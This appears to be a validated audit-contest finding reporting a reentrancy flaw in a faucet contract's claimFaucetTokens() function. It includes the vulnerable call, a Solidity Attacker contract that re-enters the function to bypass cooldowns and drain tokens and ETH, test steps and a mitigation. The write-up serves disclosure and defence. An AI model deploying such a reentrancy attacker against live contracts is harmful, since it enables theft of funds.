Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy found in the `SEP_ETH DRIP` (Checks-Effects-Interactions violation + missing nonReentrant → Token/ETH drain & cooldown bypass)

[S-1] claimFaucetTokens() Reentrancy found in the SEP_ETH DRIP (Checks-Effects-Interactions violation + missing nonReentrant → Token/ETH drain & cooldown bypass)

Description: External faucetClaimer.call{value: ...}("") is executed while important state (e.g., lastClaimTime, dailyClaimCount, dailyDrips, hasClaimedEth) is not guaranteed to be finalized. No ReentrancyGuard is used.

// @> // @audit - External call occurs before all state is finalized (CEI violated)
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");

Impact: High — a malicious contract can re-enter claimFaucetTokens() during the ETH call to bypass cooldowns and claim tokens/ETH multiple times, draining funds.

Proof of Concept:

contract Attacker {
IRaiseBoxFaucet public target;
address public owner;
uint256 public reentryCount = 0;
uint256 public maxReentries = 3; // limit reentrancy so test finishes
constructor(address _target) {
target = IRaiseBoxFaucet(_target);
owner = msg.sender;
}
// Kick off attack
function attack() external payable {
require(msg.sender == owner, "only owner");
// Optionally fund this contract so it appears eligible for ETH drip
// call target to initiate drip which will call back into receive()
target.claimFaucetTokens();
}
receive() external payable {
// reenter only a few times to simulate exploit
if (reentryCount < maxReentries) {
reentryCount++;
// reenter target -> vulnerable if target hasn't updated state
target.claimFaucetTokens();
}
}
// helper to withdraw any funds after test
function withdrawETH() external {
payable(owner).transfer(address(this).balance);
}
}

Test steps (Hardhat/ethers):
Deploy target and fund with tokens + ETH.
Deploy Attacker.
From attacker, call attack().
Observe multiple successful claims and drained tokens/ETH.

Recommended Mitigation: Reorder: Checks → Effects → Interactions; update all state (lastClaimTime, dailyClaimCount, hasClaimedEth, dailyDrips) before any external call.
Add nonReentrant (OpenZeppelin ReentrancyGuard) to claimFaucetTokens().

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!